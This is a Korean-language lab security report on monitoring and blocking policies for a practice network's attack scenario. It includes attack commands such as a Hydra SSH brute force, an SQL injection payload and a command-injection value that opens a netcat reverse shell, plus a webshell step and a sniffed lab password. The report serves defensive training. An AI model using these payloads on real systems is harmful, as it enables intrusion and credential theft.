# 5. 보안정책 구현

**표 5-1. 수행 개요**

|  |  |
| --- | --- |
| **구분** | **내용** |
| 수행 목적 | 시나리오1 기반 공격 징후 식별 및 보안정책(탐지/차단/운영절차) 구현 결과 정리 |
| 수행 범위 | 네트워크 패킷 분석(Wireshark), 서버 로그 분석(auth/syslog/apache/kern), 차단 정책(UFW/iptables) |
| 관제 산출물 | 정상/비정상 판별 기준, 공격 시나리오 로그 패턴, 차단/대응 Runbook, 정책 구현 매트릭스 |
| 증빙 삽입 원칙 | 각 표/그림의 증빙 ID에 맞춰 PCAP·이미지·로그를 삽입(파일명·시간·대상 자산 표기) |

**표 5-2. 관제/점검 대상 자산**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **장비명** | | **별칭** | **모델명** | **수량** |
| **Router** | | R | Cisco C7200 | 13대 |
| **Switch** | | ESW | Cisco C3745 | 14대 |
| L2SW | CiscoIOSvL215.2(20200924:215240) | 5대 |
| **Frame Relay switch** | | FRSW | Frame-Relay switch | 3대 |
| **자동화 프로그램 서버** | | C&C | Rocky9 | 1대 |
| **장비 모니터링 서버** | | MRTG | Rocky9 | 1대 |
| **Rocky9** | Rocky-9.4-x86\_64-dvd.iso | | | 7 |
| **Ubuntu** | ubuntu-24.04-desktop-amd64.iso | | | 7 |
| **VMWorkStation** | VMware-workstation-full-17.6.1-24319023 | | | 1 |
| **Security Onion** | Security Onion-16.04.7.3.iso | | | 5 |
| **Kali Linux 25** | kali-linux-2025.3-installer-amd64.iso | | | 3 |

**표 5-3 ID 체계**

|  |  |  |
| --- | --- | --- |
| **구분** | **증빙 형태** | **비고** |
| 패킷 | pcap/pcapng | Wireshark 재현 가능하도록 기간/필터 기입 |
| Wireshark | 캡처 이미지 | 필터/표시 필드가 보이도록 캡처 |
| Snort | 경보 화면 캡처 | SID/Message/시간/출발지·목적지 포함 |
| 터미널 | 명령/출력 캡처 | 명령 전체와 결과(리턴코드 포함) |
| 로그 | 로그 캡처 | 경로/타임스탬프/키워드 강조 |

**그림 5-1. 관제→분석→대응→정책 반영 흐름**

|  |
| --- |
|  |

## 5.1. 관제 수행 결과

관제 수행은 네트워크 패킷 분석(Wireshark)과 서버 로그(auth.log/syslog/apache/kern) 분석을 병행하여 정상/비정상 행위의 판별 기준을 정의하고, 시나리오1 기반 공격 수행 시 생성되는 흔적을 식별·분류하는 방식으로 진행하였다.

**표 5-4. 수집 로그/데이터 및 확인 포인트**

|  |  |  |
| --- | --- | --- |
| **데이터** | **수집 위치** | **확인 포인트** |
| 패킷 캡처 | (관제 PCAP 저장소) | ARP 변조/스캔/FTP 평문/HTTP 요청 등 |
| 인증 로그 | /var/log/auth.log (또는 /var/log/secure) | SSH 스캔/브루트포스/로그인 성공·실패 |
| 시스템 로그 | /var/log/syslog | DNS AXFR 전송 시작/종료, 서비스 이벤트 |
| 웹 접근 로그 | /var/log/apache2/\*.log | 정찰(whatweb)/SQLi/Command Injection 접근 패턴 |
| 커널/네트워크 | /var/log/kern.log 또는 dmesg | SYN Flooding 등 DoS 징후 |
| 방화벽 | UFW/iptables 로그(필요 시) | 차단 발생 시점/대상 IP/포트 |

**표 5-5. 사용 도구 및 활용 목적**

|  |  |  |
| --- | --- | --- |
| **도구** | **활용 목적** | **산출물** |
| Wireshark | 패킷 필터 기반 정상/비정상 트래픽 식별 | 필터/판별 기준, 캡처 이미지 |
| 서버 로그 분석(tail/grep) | 공격 시나리오별 로그 패턴 확인 | 핵심 로그 경로, 키워드 |
| UFW/iptables | 시나리오별 차단 정책 적용(접근통제/율제한) 및 재현 검증 | 차단 규칙, 적용/검증 결과 |
| Snort/관제 플랫폼 | 탐지 룰 기반 경보 생성 및 상관관계 분석 | 룰셋/경보 화면 |

**표 5.1-1. 시나리오1 상세( ARP Spoofing)**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 동일 IP에 대한 MAC 주소 지속 변조 |
| 관제 데이터 | 패킷 |
| 식별 기준(필터/키워드) | Wireshark 필터: arp |
| 관측 결과(요약) | 동일 IP의 ARP Reply에서 MAC 변경 반복(비정상 징후) |
| 대응/후속 조치(요약) | 스위치 보안(DAI)·정적 ARP·탐지 룰 적용 검토 |
| 차단/대응(상세) | (정책/룰/운영절차 기입. 예: UFW/iptables/SSHD/WAF/ACL 등) |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-1**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**보안·관제 5.1-1.1**

|  |  |  |  |
| --- | --- | --- | --- |
| **타켓 식별 및 초기 침투** | | | |
| **공격 시나리오** | **공격 기법** | **wireshark 필터** | **정상/비정상 식별 기준** |
| 네트워크 스캔 및 OS 분석 | arp spoofing | arp | 동일 IP에 MAC 주소 지속 변조 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |
| **공격 시나리오** | **공격 기법** | **필터** | **정상/비정상 식별 기준** |
| 네트워크 스캔 및 OS 분석 | FTP 패킷 스니핑 | ftp || tcp.port == 21 | Payload 내 계정 정보 노출 여부 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |

**표 5.1-2. 시나리오1 상세( FTP 패킷 스니핑)**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오1 | FTP 패킷 스니핑 |
| 공격 기법 | 평문 Payload 내 계정정보 노출 |
| 관제 데이터 | 패킷 |
| 식별 기준(필터/키워드) | Wireshark 필터: ftp || tcp.port == 21 |
| 관측 결과(요약) | Payload 구간에서 인증정보 노출 여부 확인 |
| 대응/후속 조치(요약) | FTP 사용 제한 및 SFTP/FTPS 전환 권고 |
| 차단/대응(상세) | (정책/룰/운영절차 기입. 예: UFW/iptables/SSHD/WAF/ACL 등) |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-2**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | 직원이 록키서버에서 웹서버 ftp를 접속함 | 와이어샤크를 보던중 ftp 접속한 패킷을 발견!  -> **ID, Password 탈취** | |

**표 5.1-3. 시나리오1 상세( Nmap 스캔(SSH 서비스 식별))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 포트 존재/버전 수집(정찰) |
| 관제 데이터 | 패킷+auth.log |
| 식별 기준(필터/키워드) | Wireshark: tcp.flags.syn == 1로그: 사용자·비번 실패/세션 생성 없음 |
| 관측 결과(요약) | nmap -sV -p 22 10.4.0.3 수행 흔적이 auth.log에 기록 |
| 대응/후속 조치(요약) | 관리망만 SSH 허용 및 스캔 차단(iptables recent) 적용 |
| 공격/검증 명령 | nmap -sV -p 22 10.4.0.3 |
| 핵심 로그 경로 | /var/log/auth.log (또는 /var/log/secure) |
| 차단/대응(상세) | [SSHD] PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes  [UFW] ufw allow from <관리망IP> to any port 22 proto tcp ufw deny 22  [iptables] iptables -A INPUT -p tcp --dport 22 -m recent --name SCAN --set iptables -A INPUT -p tcp --dport 22 -m recent --name SCAN --update --seconds 10 --hitcount 10 -j DROP |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-3**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | **nmap -sV -p 22 10.4.0.3**  # 록키의 SSH 포트가 열려있는지 확인 | **test.txt 파일** | |

**보안·관제 5.1-3.1**

|  |  |  |
| --- | --- | --- |
| **SSH 서비스 식별 및 접근 시도 (Nmap 스캔)** | | |
| 목적 | SSH 서비스 동작 여부 및 버전 확인 | |
| 설정 | nmap -sV -p 22 10.4.0.3 | |
| 로그 | tail -f /var/log/auth.log | |
|  | | |
| nmap -sV -p 22 10.4.0.3  # 우분투의 SSH 포트가 열려있는지 확인 | | |
|  | | |
| 이 로그는  정상 접속자가 로그인 시도 중 실패한 패턴이 아니라  - 사용자 정보가 없음  - 비밀번호 실패 없음  - 세션 생성 시도 없음  라는 특징을 가짐  서비스 버전 수집 / 포트 존재 확인 / 공격 사전 정찰 과정  에서 나타나는 전형적인 패턴 | | |
|  | |  |
| 로그인 성공 패턴 | | 로그인 실패 패턴 |

**보안·관제 5.1-3.2**

|  |  |  |  |
| --- | --- | --- | --- |
| **공격 시나리오** | **공격 기법** | **필터** | **정상/비정상 식별 기준** |
| 네트워크 스캔 및 OS 분석 | nmap 스캔 | tcp.flags.syn == 1 | 단시간 내 다수 포트 접속 시도 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |
| **공격 시나리오** | **공격 기법** | **필터** | **정상/비정상 식별 기준** |
| SSH 크래킹 (hydra) | SSH Brute Force | tcp.port == 22 | 동일 IP의 인증 시도 횟수 폭증 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |

**표 5.1-4. 시나리오1 상세( SSH Brute Force(Hydra))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 짧은 시간 대량 인증 실패 및 MaxStartups throttling |
| 관제 데이터 | 패킷+auth.log |
| 식별 기준(필터/키워드) | Wireshark: tcp.port == 22로그: 동일 IP 반복 실패 |
| 관측 결과(요약) | hydra -l root -P /root/test.txt 10.4.0.3 ssh 수행 시도 확인 |
| 대응/후속 조치(요약) | 키 기반 인증 전환 + 자동 차단(60초/5회) 적용 |
| 공격/검증 명령 | hydra -l root -P /root/test.txt 10.4.0.3 ssh |
| 핵심 로그 경로 | /var/log/auth.log (또는 /var/log/secure) |
| 차단/대응(상세) | iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 --rttl --name SSH -j DROP Ubuntu/Debian: iptables-save > /etc/iptables/rules.v4 Rocky/RHEL: service iptables save |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-4**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | **hydra -l root -p /root/test.txt**  # root 계정 비밀번호 탈취(Brute Force) | ssh root@10.4.0.3  # 탈취한 root 계정과 비밀번호로 ssh 록키서버에 접속 | |

**보안·관제 5.1-4.1**

|  |  |
| --- | --- |
| **1) SSH 보안 강화 (sshd\_config 정책)** | |
| 1-1. root 직접 로그인 차단 | sudo vim /etc/ssh/sshd\_config => PermitRootLogin no |
| 의미 | - root 바로 로그인 금지  - 일반 계정 → sudo 승격만 허용  운영 효과  �� root 계정 탈취 위험 감소 |
| 1-2. 비밀번호 로그인 금지 → 공개키 인증 전환 | PasswordAuthentication no  PubkeyAuthentication yes |
| 의미 | - 무차별 대입(Brute Force) 원천 차단  - 키 파일 가진 사용자만 접속 가능  운영 영향  ⚠ 키 분실 대비 계정 복구 프로세스 필요 |
| **2) UFW 로 SSH 접근 IP 제한(추천)** | |
| 특정 IP만 SSH 허용 | ufw allow from <관리망IP/?> to any port 22  ufw deny 22 |
| 의미 | - 관리망 / 점프서버에서만 접속 허용 |
| **3) iptables 자동 차단 정책** | |
| iptables | -m recent --seconds 60 --hitcount 5 -j DROP |
| 의미 | - 정찰 스캔 & Hydra 둘 다 차단 가능 |
| �� 권장 운영 구조  - 외부 접속 ❌  - Bastion Host(관리용 서버) ⭕  - 내부 관리자만 접속 ⭕ | |

**표 5.1-5. 시나리오1 상세( DNS AXFR(Zone Transfer))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 존 파일 무단 전송(정보 노출) |
| 관제 데이터 | 패킷+syslog |
| 식별 기준(필터/키워드) | Wireshark: tcp.port == 53syslog: AXFR started/ended |
| 관측 결과(요약) | dig axfr wj.com @172.16.18.28 수행 및 전송 로그 확인 |
| 대응/후속 조치(요약) | TCP 53 제한(Secondary DNS만 허용) 정책 적용 |
| 공격/검증 명령 | dig axfr wj.com @172.16.18.28 |
| 핵심 로그 경로 | /var/log/syslog |
| 차단/대응(상세) | [UFW] ufw allow proto udp from any to any port 53 ufw deny proto tcp from any to any port 53 ufw allow proto tcp from <SECONDARY\_DNS\_IP> to any port 53  [iptables] iptables -A INPUT -p udp --dport 53 -j ACCEPT iptables -A INPUT -p tcp --dport 53 -j DROP iptables -A INPUT -p tcp -s <SECONDARY\_DNS\_IP> --dport 53 -j ACCEPT |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-5**

|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | /home 및 Documents 디렉터리 내의  업무 관련 문서를 확인 | ssh로 접속하여 /etc/resolve 파일로 DNS 확인 | |  |  | | dig axfr wj.com @172.16.18.28  #dig 활용하여 DNS서버의 ZONE파일 탈취 | ssh로 록키서버의 WhatWeb 설치 | |

**보안·관제 5.1-5.1**

|  |  |  |  |
| --- | --- | --- | --- |
| **내부망 확장 및 관리자 권한 획득** | | | |
| **공격 시나리오** | **공격 기법** | **wireshark 필터** | **정상/비정상 식별 기준** |
| DNS 정보 탈취 | AXFR | tcp.port == 53 | 헤더 내 스캐너 명시 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |

**보안·관제 5.1-5.2**

|  |  |
| --- | --- |
| **UFW 로 AXFR 차단 (권장)** | |
| UDP 53 허용  (일반 DNS 쿼리) | ufw allow proto udp from any to any port 53 |
| TCP 53 기본 차단 | ufw deny proto tcp from any to any port 53 |
| - 이렇게 하면  DNS 조회(udp) = 정상 동작  AXFR / zone transfer(tcp) = 전부 차단 | |
| Secondary DNS 만 허용해야 하는 경우 | ufw allow proto tcp from <SECONDARY\_DNS\_IP> to any port 53 |
| 그리고 나머지는 차단 유지 | ufw deny proto tcp from any to any port 53 |
| 의미  - AXFR 은 승인된 DNS 서버만 가능  - 일반 사용자는 AXFR 절대 불가 | |

**표 5.1-6. 시나리오1 상세(웹 정찰(whatweb))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 기술스택/구성 정보 수집 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http로그: whatweb 접근 기록 |
| 관측 결과(요약) | whatweb dvwa.wj.com 요청이 access.log에 기록 |
| 대응/후속 조치(요약) | 내부 전용 서비스일 경우 80/443 접근대역 제한 권고 |
| 공격/검증 명령 | whatweb dvwa.wj.com |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access.log |
| 차단/대응(상세) | (내부 전용 서비스 전제) TRUSTED\_NET만 80/443 허용 후 외부 차단 iptables -A INPUT -p tcp -s <TRUSTED\_NET> --dport 80 -j ACCEPT iptables -A INPUT -p tcp -s <TRUSTED\_NET> --dport 443 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP iptables -A INPUT -p tcp --dport 443 -j DROP |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-6**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | whatweb dvwa.wj.com  # whatweb을 사용하여 관리자 페이지 식별 | 칼리서버의 DNS변경 | |

**보안·관제 5.1-6.1**

|  |  |  |  |
| --- | --- | --- | --- |
| **공격 시나리오** | **공격 기법** | **wireshark 필터** | **정상/비정상 식별 기준** |
| DNS 정보 탈취 | WhatWeb | http | DNS 서버 설정 상태 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |
| **시나리오1 차단 정책** | | | |
| 시나리오 1은 서버 단에서 iptables로 차단할 예정 | | | |

**보안·관제 5.1-6.2**

|  |  |
| --- | --- |
| **UFW 로 웹 서비스 정찰(whatweb) 차단 (선택 적용)** | |
| TCP 80 / 443 접근 통제 (내부 전용 서비스일 경우) | |
| 허용된 네트워크에서만  접속 허용 | ufw allow from <TRUSTED\_NET> to any port 80,443  ufw deny 80,443 |
| 예시 | ufw allow from 172.16.0.0/16 to any port 80  ufw deny 80 |
| 의미 / 효과 | |
| - 정상 사용자 = 허용된 내부망만 접근 가능  - 외부 사용자 = 웹 스캐닝 / 정찰 불가  - whatweb / nikto / gobuster 등 탐색 도구 차단 | |

**표 5.1-7. 시나리오1 상세( SQL Injection 시도)**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오1 | SQL Injection 시도 |
| 공격 기법 | 요청 인자(URL/폼) 내 SQL 예약어 포함 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http.request.uri로그: 특정 페이지 연속 호출 |
| 관측 결과(요약) | ' OR '1'='1' # 등 페이로드 흔적 및 접근 패턴 확인 |
| 대응/후속 조치(요약) | L3/L4 방화벽만으로 차단 한계 → WAF/애플리케이션 보완 필요 |
| 공격/검증 명령 | ' OR '1'='1' # |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access.log |
| 차단/대응(상세) | L3/L4 방화벽만으로 페이로드 차단 한계 → WAF/입력검증/파라미터 바인딩 등 애플리케이션 조치 필요 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-7**

|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  | | --- | --- | |  |  | | 취약서버 접속하여 SQL injection  ' OR '1'='1' # | 127.0.0.1 ; id  # Ping Test 페이지에서 취약점 확인  -> 사용자 권한 확인 | | **보안 관제 한계점** | | | ufw나 iptables 같은 네트워크 방화벽(L3/L4)은 IP와 포트를 제어하는 도구이기 때문에, 정상적인 80(HTTP)이나 443(HTTPS) 포트를 통해 들어오는 SQL Injection 공격 페이로드(문자열)를 직접적으로 차단하기에는 한계가 있다. 고로 SQL Injection 공격은 네트워크 보안 정책으로 차단한다. | | |

**보안·관제 5.1-7**

|  |  |  |  |
| --- | --- | --- | --- |
| **공격 시나리오** | **공격 기법** | **wireshark 필터** | **정상/비정상 식별 기준** |
| SQL Injection | SQL Injection | http.request.uri | 요청 데이터 내 DB 예약어 포함 |
| **정상 패킷** | | | |
|  | | | |
| **비정상 패킷** | | | |
|  | | | |

**표 5.1-8. 시나리오1 상세( Command Injection & Reverse Shell)**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오1 | Command Injection & Reverse Shell |
| 공격 기법 | /vulnerabilities/exec/ 반복 POST 및 nc 역접속 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | 로그: 비정상 경로 반복/페이로드 포함 |
| 관측 결과(요약) | 127.0.0.1; nc 10.4.0.4 4444 -e /bin/sh 시도 흔적 확인 |
| 대응/후속 조치(요약) | 취약 기능 접근통제/패치 + 아웃바운드 제어(egress) 및 탐지 룰 연계 |
| 공격/검증 명령 | 127.0.0.1; nc 10.4.0.4 4444 -e /bin/sh |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access.log |
| 차단/대응(상세) | 취약 기능 제거/패치 + 아웃바운드(egress) 제어(예: 4444/tcp 차단) + 관제 룰 연계 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-8**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  | | --- | --- | --- | |  | |  | | 127.0.0.1 ; ls -R  # 디렉토리 확인 (웹 루트 및 파일 구조 파악) | | Netcat을 활용한 리버스 쉘 페이로드가 포함된 웹쉘(Webshell)을 생성하는 공격 (공격자 칼리 IP 넣기) | |  |  | | | 127.0.0.1 ; ls  # backdoor.php 파일 생성확인 | nc -lvp 4444  #칼리서버에서 포트 4444 열어주기 | | |  |  | | | URL에<http://dvwa.wj.com/vulnerabilities/exec/backdoor.php> 로 접속하면 칼리 커맨더 창에 웹서버의 서버 제어권 획득 확인 (Connect ~ 172.16.18.28) | su wj  asd123!@  # FTP 패킷으로 획득한 사용자 계정으로 로그인 | | |

**표 5.1-9. 시나리오1 상세( DoS(SYN Flooding))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오1 | DoS(SYN Flooding) |
| 공격 기법 | 커널 경고: Possible SYN flooding |
| 관제 데이터 | kern.log/dmesg |
| 식별 기준(필터/키워드) | TCP: Possible SYN flooding on port 80. Sending cookies. |
| 관측 결과(요약) | 커널 로그에서 SYN Flood 징후 메시지 확인 |
| 대응/후속 조치(요약) | SYN cookies/율제한/상위 장비 차단 정책 적용 검토 |
| 공격/검증 명령 | (기입) |
| 핵심 로그 경로 | /var/log/kern.log 또는 dmesg |
| 차단/대응(상세) | SYN cookies/레이트리밋/상위 장비 ACL 등 단계적 적용 후 재현 테스트로 검증 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오1을 재현하여 탐지/차단 여부를 확인 |

**그림 5.1-9**

|  |
| --- |
| *[증빙자료 삽입 위치] ID: LOG-5-04 PCAP/Wireshark/터미널/로그 캡처를 시나리오로 삽입* |

## 5.2 대응 방안

대응 방안은 (1) 관제팀-운영팀 협조 체계, (2) 즉시 차단(Containment) 중심의 네트워크/서버 정책, (3) 재발 방지(근본 원인 제거) 항목으로 구성하였다.

**표 5-8. 대응 프로세스(탐지→분석→차단→복구)**

|  |  |  |  |
| --- | --- | --- | --- |
| **단계** | **주요 활동** | **담당** | **산출물/증빙** |
| 1) 탐지 | 경보/로그/패킷 이상 징후 확인 | 관제팀 | 탐지 알림, 초기 증빙(PCAP/로그) |
| 2) 분석 | 공격 유형 분류, 영향도/범위 산정 | 관제팀+운영팀 | 분석 리포트, 타임라인 |
| 3) 차단 | 출발지/포트/서비스 차단, 계정 잠금 | 운영팀 | 방화벽/서버 정책 적용 결과 |
| 4) 제거 | 취약점 패치, 설정 변경, 악성 요소 제거 | 운영팀 | 조치 내역서 |
| 5) 복구 | 서비스 정상화, 모니터링 강화 | 운영팀 | 복구 체크리스트 |
| 6) 환류 | 재발방지 대책/룰 튜닝/문서화 | 관제팀+운영팀 | 정책 업데이트, 교육/점검 |

**표 5-9. 로그 제출 및 대응 협조 요청 기준(요약)**

|  |  |  |  |
| --- | --- | --- | --- |
| **상황** | **필수 로그** | **권장 로그** | **제출 형태** |
| 웹 공격(정찰/SQLi/Command Injection) | access.log | error.log, WAF 로그(있을 시) | 원본 파일 또는 캡처 |
| SSH 정찰/브루트포스/침해 | auth.log(/secure) | sshd 설정 파일 변경 이력 | 원본 파일 또는 캡처 |
| DNS AXFR/의심 질의 | syslog | named 로그(있을 시) | 원본 파일 또는 캡처 |
| DoS 의심 | kern.log/dmesg | 방화벽/라우터 로그 | 원본 파일 또는 캡처 |

**표 5-10. 시나리오 대응 Runbook(요약)**

|  |  |  |  |
| --- | --- | --- | --- |
| **공격 유형** | **초기 확인** | **즉시 차단** | **재발방지** |
| ARP Spoofing | 동일 IP의 MAC 변경 반복 여부 | 스위치 보안 기능/정적 ARP 적용(환경에 따라) | 네트워크 분리, ARP 모니터링(arpwatch) 적용 |
| FTP 스니핑 | Payload 내 계정정보 노출 여부 | FTP 차단/계정 비밀번호 변경 | SFTP/FTPS 전환, 평문 서비스 제거 |
| SSH 정찰/브루트 | auth.log에서 반복 실패/스캔 패턴 | UFW 접근대역 제한 + iptables recent 자동 차단 | 키 기반 인증 강제, root 원격 로그인 금지 |
| DNS AXFR | syslog에 AXFR started/ended | TCP 53 차단(Secondary DNS만 허용) | DNS 설정 allow-transfer 제한 |
| 웹 정찰/SQLi | access.log에서 비정상 경로/페이로드 | (내부 서비스일 경우) 80/443 접근대역 제한 | WAF/입력검증/파라미터 바인딩 적용 |
| Reverse Shell | /vulnerabilities/exec/ 반복 POST | 의심 IP 차단, 아웃바운드(egress) 제한 | 취약 기능 제거/패치, 권한 최소화 |
| DoS(SYN Flood) | kern.log/dmesg 경고 확인 | 율제한/상위 장비 차단(ACL) | 서비스 보호(캐시/레이트리밋), 모니터링 강화 |

**표 5-11. 차단 정책 적용 요약**

|  |  |  |
| --- | --- | --- |
| **항목** | **정책/설정** | **설명** |
| SSH root 로그인 차단 | PermitRootLogin no | root 직접 로그인 금지(일반 계정 + sudo) |
| SSH 비밀번호 로그인 금지 | PasswordAuthentication no PubkeyAuthentication yes | Brute Force 원천 차단 |
| UFW SSH 접근대역 제한 | ufw allow from <관리망IP> to any port 22 proto tcp ufw deny 22 | 관리망/점프서버만 허용 |
| iptables Brute Force 차단 | -m recent --seconds 60 --hitcount 5 -j DROP | 60초 내 5회 이상 신규 연결 차단 |
| DNS AXFR 차단 | UDP 53 허용, TCP 53 기본 차단 Secondary DNS만 TCP 53 허용 | AXFR은 TCP 53 기반 |
| 웹 접근 통제(선택) | 80/443: <TRUSTED\_NET>만 허용 후 DROP | 내부 전용 서비스 전제 |

**그림 5-7. 차단 정책 적용 터미널 출력**

|  |
| --- |
| *[증빙자료 삽입 위치] ID: TERM-5-05 sshd\_config/UFW/iptables 적용 및 status/규칙 확인 화면 삽입* |

## 5.3 보안 정책 구현

보안 정책 구현은 ‘탐지(Detect)–차단(Prevent)–운영(Operate)’ 관점에서 정리하였으며, 각 항목은 적용 여부와 검증 방법을 명확히 기록하도록 구성하였다.

**표 5-12. 보안 정책 구현 매트릭스(요약)**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **영역** | **정책 항목** | **구현 위치** | **구현 내용(요약)** | **상태** |
| 계정/접근 | SSH root 직접 로그인 차단 | 서버(SSHD) | PermitRootLogin no | (기입) |
| 계정/접근 | SSH 패스워드 로그인 금지 | 서버(SSHD) | PasswordAuthentication no | (기입) |
| 계정/접근 | 관리망만 SSH 허용 | 서버(UFW) | allow from <관리망>deny 22 | (기입) |
| 네트워크 | SSH 스캔/브루트포스 자동 차단 | 서버(iptables) | recent 모듈 기반 율제한 | (기입) |
| DNS | AXFR 제한 | 서버(UFW/iptables/DNS 설정) | TCP 53 제한, allow-transfer 통제 | (기입) |
| 웹 | 정찰 차단(내부 전용 시) | 서버(iptables/UFW) | 80/443 접근대역 제한 | (선택) |
| 관제 | 로그 수집 기준 수립 | 운영절차 | access/auth/syslog/kern 로그 제출 | 완료 |
| 관제 | 시나리오 판별 기준 수립 | 관제 운영 | Wireshark 필터/로그 패턴 정의 | 완료 |

**표 5-13. iptables recent 옵션 의미(요약)**

|  |  |
| --- | --- |
| **옵션** | **의미** |
| --dport 22 | SSH 포트 접근 대상 |
| --state NEW | 새 연결 시도에 한정 |
| -m recent --set | 접속 기록을 메모리에 저장 |
| --name SSH | 기록 이름(그룹) |
| --seconds 60 | 최근 60초 기준 |
| --hitcount 5 | 5회 이상 시 차단 |
| --rttl | 동일 TTL 조건(위장 스캔 방지 보조) |
| -j DROP | 조건 만족 시 패킷 폐기 |

**표 5-14. 정책 검증 체크리스트(편집용)**

|  |  |  |  |
| --- | --- | --- | --- |
| **점검 항목** | **명령/방법** | **기대 결과** | **결과** |
| SSHD 설정 반영 | sshd -T | egrep 'permitrootlogin|passwordauthentication' | nono | (기입) |
| UFW 규칙 적용 | ufw status verbose | 22/tcp 제한 규칙 확인 | (기입) |
| iptables 규칙 적용 | iptables -S | egrep 'recent|dport 22' | recent 규칙 존재 | (기입) |
| DNS TCP 53 차단 | ss -lntup | grep ':53' + 방화벽 규칙 확인 | 정책 의도대로 제한 | (기입) |
| 웹 접근 통제(선택) | curl/브라우저 접근 테스트 | 비허용 대역 차단 | (기입) |

**그림 5-8. 보안 정책 적용 전/후 검증 캡처**

|  |
| --- |
| *[증빙자료 삽입 위치] ID: IMG-5-08 점검 체크리스트 결과(터미널/로그/관제 화면) 캡처를 항목별로 삽입* |

## 5.4 주정통 기반 보안점검 결과

주정통(주요정보통신기반시설) 기술적 점검 가이드 기반으로 선별한 점검 항목을 대상으로 자동화 점검(스크립트)과 수동 점검(로그/설정 확인)을 병행하여 결과를 정리하였다. 점검 항목/코드 체계는 프로젝트에서 선정한 기준에 맞춰 수정 가능하도록 표 형태로 구성하였다.

**표 5-15. 주정통 기반 점검 수행 절차(요약)**

|  |  |  |
| --- | --- | --- |
| **단계** | **내용** | **산출물** |
| 1 | 점검 대상 서버 목록(DB) 등록 | 자산 목록 |
| 2 | 점검 항목(선정) 정의 및 자동화/수동 분류 | 점검 항목표 |
| 3 | SSH 기반 점검 명령 수행 및 결과 파싱/저장 | 점검 결과(DB/리포트) |
| 4 | 결과 가시화(웹 페이지/대시보드) | 대시보드 캡처 |
| 5 | 미흡 항목 조치 후 재점검 | 조치 내역 및 재점검 결과 |

